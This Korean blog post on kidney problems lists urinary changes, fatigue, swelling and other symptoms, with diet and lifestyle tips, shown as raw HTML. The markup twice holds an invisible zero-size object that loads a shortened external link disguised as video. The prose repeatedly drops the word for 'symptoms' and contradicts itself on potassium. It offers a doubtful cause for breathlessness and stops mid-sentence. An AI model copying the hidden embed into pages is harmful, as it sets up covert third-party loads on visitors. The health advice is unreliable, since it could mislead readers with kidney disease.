콩팥이 안좋으면 원인 신장이 안좋을때 증상

<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cbVT" type="video/mp4"></object> <div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:29">신장 건강, 우리 몸의 노폐물 처리장을 지켜라!</h2>신장은 우리 몸의 노폐물을 걸러내고, 혈액의 수분과 전해질 균형을 유지하며, 혈압 조절하는 중요한 역할을 하는 장기입니다. 마치 정수기를 연상하면 됩니다. 깨끗한 물만 공급하는 정수기처럼, 신장도 건강하면 우리 몸은 항상 건강하고 활기차게 활동할 수 있습니다.하지만 현대인의 생활 습관과 식단은 신장에 큰 부담을 줄 수 있습니다. 과도한 나트륨 섭취, 탈수, 운동 부족, 당뇨병, 고혈압과 같은 은 신장 기능 저하를 초래할 수 있습니다.신장이 안 좋을 때 나타나는 신장 기능이 저하되면 다음과 같은 들이 나타날 수 있습니다.<ul data-sourcepos="11:1-23:0"> <li data-sourcepos="11:1-15:15">소변의 변화: <ul data-sourcepos="12:5-15:15"> <li data-sourcepos="12:5-12:18">소변량 감소 또는 증가</li> <li data-sourcepos="13:5-13:21">밤에 자주 소변 보는 빈뇨증</li> <li data-sourcepos="14:5-14:21">거품이 있는 소변 또는 혈뇨</li> <li data-sourcepos="15:5-15:15">짙은 노란색 소변</li> </ul> </li> <li data-sourcepos="16:1-16:68">피로와 쇠약: 신장 기능이 저하되면 혈액 속 노폐물이 제대로 배출되지 않아 피로감과 쇠약감을 느낄 수 있습니다.</li> <li data-sourcepos="17:1-17:43">부종: 특히 다리와 발목, 눈꺼풀 주변에 부종이 생길 수 있습니다.</li> <li data-sourcepos="18:1-18:72">피부 건조와 가려움증: 신장 기능이 저하되면 피부의 수분 조절 능력이 저하되어 건조해지고 가려움증이 생길 수 있습니다.</li> <li data-sourcepos="19:1-19:78">식욕 부진과 구토: 신장 기능이 저하되면 혈액 속 독소 물질이 쌓여 식욕 부진, 메스꺼움, 구토 등의 이 나타날 수 있습니다.</li> <li data-sourcepos="20:1-20:60">호흡곤란: 신장 기능이 저하되면 폐에 충분한 산소가 공급되지 않아 호흡곤란이 나타날 수 있습니다.</li> <li data-sourcepos="21:1-21:60">근육 경련: 신장 기능이 저하되면 혈액 속 전해질 균형이 무너져 근육 경련이 발생할 수 있습니다.</li> <li data-sourcepos="22:1-23:0">고혈압: 신장 기능이 저하되면 혈압 조절 기능이 저하되어 고혈압이 발생할 수 있습니다.</li> </ul>신장 건강을 지키는 방법신장 건강을 위해 다음과 같은 생활 습관을 유지하는 것이 중요합니다.<ul data-sourcepos="28:1-35:0"> <li data-sourcepos="28:1-28:72">건강한 식단: 과도한 나트륨 섭취를 줄이고, 칼륨과 인산 함량이 낮은 음식을 섭취하며, 충분한 수분을 섭취해야 합니다.</li> <li data-sourcepos="29:1-29:45">규칙적인 운동: 꾸준한 운동은 신장 기능을 유지하는 데 도움이 됩니다.</li> <li data-sourcepos="30:1-30:67">적절한 체중 관리: 과체중 또는 비만은 신장에 부담을 줄 수 있으므로 적절한 체중을 유지하는 것이 중요합니다.</li> <li data-sourcepos="31:1-31:41">흡연 금지: 흡연은 신장 기능 저하의 주요 원인 중 하나입니다.</li> <li data-sourcepos="32:1-32:55">혈압 관리: 고혈압은 신장 기능 저하를 가속화할 수 있으므로 혈압을 잘 관리해야 합니다.</li> <li data-sourcepos="33:1-33:70">당뇨병 관리: 당뇨병은 신장 기능 저하의 주요 원인 중 하나입니다. 당뇨병이 있는 경우 혈당을 잘 관리해야 합니다.</li> <li data-sourcepos="34:1-35:0">정기적인 건강 검진: 정기적인 건강 검진을 통해 신장 기능을 확인하는 것이 중요합니다.</li> </ul>신장 건강에 좋은 음식<ul data-sourcepos="38:1-40:35"> <li data-sourcepos="38:1-38:94">과일과 채소: 과일과 채소에는 칼륨과 식이섬유가 풍부하여 신장 건강에 좋습니다. 특히 블루베리, 크랜베리, 사과, 배, 양파, 마늘, 브로콜리 등이 좋습니다.</li> <li data-sourcepos="39:1-39:71">생선: 생선에는 오메가-3 지방산이 풍부하여 신장 건강에 좋습니다. 특히 연어, 참치, 꽁치, 정어리 등이 좋습니다.</li> <li data-sourcepos="40:1-40:35">저지방 유제품: 저지방 유제품에는 칼슘과 단백질이 풍</li> </ul></div> "><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cbVT" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object> <div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; 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